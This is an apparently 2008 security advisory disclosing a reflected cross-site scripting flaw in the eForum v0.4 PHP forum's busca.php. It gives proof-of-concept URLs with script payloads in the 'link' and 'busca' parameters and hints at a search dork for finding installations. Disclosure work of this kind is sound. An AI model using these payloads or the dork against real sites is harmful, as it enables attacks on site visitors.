eForum v0.4 - NON-PERSISTENT XSS
by Omni

1) Infos

Date : 2008-03-05
Product : eForum
Version : v 0.4
Vendor : http://www.phpbrasil.com/scripts/script.php/id/169
Vendor Status :
2008-03-18 Not Informed!
2008-03-18 Published!

Description :
eForum is an easy-to-install discussion board that doesn't require any database. Features include admin area to delete
topics with session authentication, a search system (more stable this version), configurable layout using css file.
Moderator can be notified of new posts on the forum. It has threaded view. Ubbcode-style supported. Multiple languages
supported: Portuguese, English, German and Danish. UPDATE 0.4: post preview, better ubbcode support, better javascript,
other small changes, some bugs fixed, italian and turkish translations.

Dork : Powered by … could be used.
Source : omnipresent - omni - http://omni.playhack.org

E-mail : omnipresent[at]NOSPAMemail[dot]it - omni[at]NOSPAMplayhack[dot]net

2) Security Issues

— [ NON-PERSISTENT XSS ] —

Input passed to "busca" and "link" parameters in busca.php are not properly sanitized before being returned to the
user's browser.

This can be exploited to execute arbitrary HTML/script code.

— [ PoC ] —

http://localhost/eForum/busca.php
use the input box and search what you want. (js)

http://localhost/eForum/busca.php?link=%3Cscript%3Ealert(1)%3C/script%3E&busca=%3Cscript%3Ealert(2)%3C/script%3E

http://localhost/eForum/busca.php?link=%3Cscript%3Ealert(1)%3C/script%3E

— [ Patch ] —

• Edit the source code.